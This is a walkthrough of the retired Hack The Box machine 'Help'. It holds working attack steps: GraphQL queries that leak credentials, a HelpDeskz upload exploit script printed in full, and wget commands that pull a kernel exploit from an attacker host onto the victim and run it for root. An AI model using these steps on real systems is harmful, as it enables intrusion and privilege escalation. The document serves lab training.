Help

Name: Help
Release Date: 19 Jan 2019
Retire Date: 08 Jun 2019
OS: Linux
Base Points: Easy - Retired [0]
Rated Difficulty:
Radar Graph:
buckley310 00 days, 03 hours, 19 mins, 45 seconds
m0nic 00 days, 04 hours, 10 mins, 02 seconds
Creator: cymtrick
CherryTree File: CherryTree - Remove the .txt extension

Again, we start with nmap -sC -sV -oA ./help 10.10.10.121

 
$  nmap -sC -sV -oA ./help 10.10.10.121
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-03 17:01 EDT
  Nmap scan report for 10.10.10.121
  Host is up (0.096s latency).
  Not shown: 997 closed ports
  PORT     STATE SERVICE VERSION
  22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
  |   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
  |_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
  80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
  |_http-server-header: Apache/2.4.18 (Ubuntu)
  |_http-title: Apache2 Ubuntu Default Page: It works
  3000/tcp open  http    Node.js Express framework
  |_http-title: Site doesn't have a title (application/json; charset=utf-8).
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 17.25 seconds 

SSH and 2-HTTP ports.  Port 80 is just the default apache page, but 3000 gives us a JSON response about getting the credentials with a given query.

Let's go ahead an gobuster both HTTP ports and see what comes up.

 
  gobuster dir -w /usr/share/dirb/wordlists/big.txt -u http://10.10.10.121
  gobuster dir -w /usr/share/dirb/wordlists/big.txt -u http://10.10.10.121:3000

  Port 80  
  /javascript (Status: 301)
  /server-status (Status: 403)
  /support (Status: 301)
 

Port 3000 gave us nothing and 80 gave us 3.  Javascript and server-status are both Forbidden, but support leads us to a HelpDeskz page.

I've never even heard of HelpDeskz so it's time for some Google-Fu. 3rd result is the GitHub repo for it and more importantly the UPGRADING.txt file.

Searchsploit finds 2 existing vulnerabilities.  An arbitrary file upload and an authenticated SQL injection.

Let's keep digging in the 3000 page before we try the File Upload.  If we check out the Headers tab of that JSON response, we see the X-Powered-By    Express attribute in the response header

A little more Google-Fu finds us Express.js query calls to graphQL

So, let's give it some parameters.  We're looking for usernames so let's start there

  curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user}" | jq

 

  {"errors":[{"message":"Field \"user\" of type \"User\" must have a selection of subfields. Did you mean \"user { ... }\"?","locations":[{"line":1,"column":2}]}]}

 

So, now it wants sub-fields.  Needy thing isn't it.....

 

  curl -s -G http://10.10.10.121:3000/graphql --data-urlencode 'query={user {username} }' | jq

 

That got us something!

Let's try and add to what we have.  If there's a user, there must be a password.

  curl -s -G http://10.10.10.121:3000/graphql --data-urlencode 'query={user {username,password} }' | jq

Just my luck, when I try this password, it fails.  Let's see if it is encoded.  Looks a bit like an MD5 hash.

And it was.  Password is "godhelpmeplz"  We can now log into the HelpDeskz site with helpme@helpme.com:godhelpmeplz


So, now let's Submit a ticket with the pentestmonkey php-reverse-shell found here. We get a file not allowed error
but after hours trying to find a way around that (shoutout to Raiden99 for getting me past this), it turns
out that it really was uploading the file. Next, we modify the 40300.py script from earlier to:

  import hashlib
  import time
  import sys
  import requests
 
  print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
 
  if len(sys.argv) < 3:
      print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
      sys.exit(1)

  helpdeskzBaseUrl = sys.argv[1]
  fileName = sys.argv[2]
 
  currentTime = int(time.time())

  for x in range(0, 300):
      plaintext = fileName + str(currentTime - x)
      md5hash = hashlib.md5(plaintext).hexdigest()

      url = helpdeskzBaseUrl+md5hash+'.php'
      response = requests.head(url)
      if response.status_code == 200:
          print "found!"
          print url
          sys.exit(0)

  print "Sorry, I did not find anything"

  Then run:
  sudo python file.py http://10.10.10.121/support/uploads/tickets/ shell.php

 

 

Ding Ding!  Shell time. We have a shell as help.  By now, you know the drill.  wget LinEnum over to the Target, run it with -t, dig through the output.

 

  On Attacking Machine:
  python3 http.server 8080 in the LinEnum folder
 
  On Victim:
  wget http://YOURIP:8080/LinEnum.sh
  chmod 7777 LinEnum.sh
  ./LinEnum.sh -t

 

Fortunately, we don't need to dig too deeply in order to find our privesc path.

 

  ###[00;33m### SYSTEM ##############################################[00m
  ###[00;31m[-] Kernel information:###[00m
  Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

 

There's a local kernel exploit in the exploit DB for that.  I hope you left your http.server running! (No big deal if you didn't.  Just start it back up)

 

  On Attacking Machine:
  cp /usr/share/exploitdb/exploits/linux/local/44298.c /home/kali/Help/44298.c
  gcc 44298.c -o out
 
  On Victim:
  wget http://YOURIP:8080/out
  chmod 7777 out
  ./out

 

A whoami shows you are now root.  Use the typical "python -c 'import pty;pty.spawn("/bin/bash")'" and you have a full TTY shell as root.  Grab your flags and celebrate with the libations of your choice!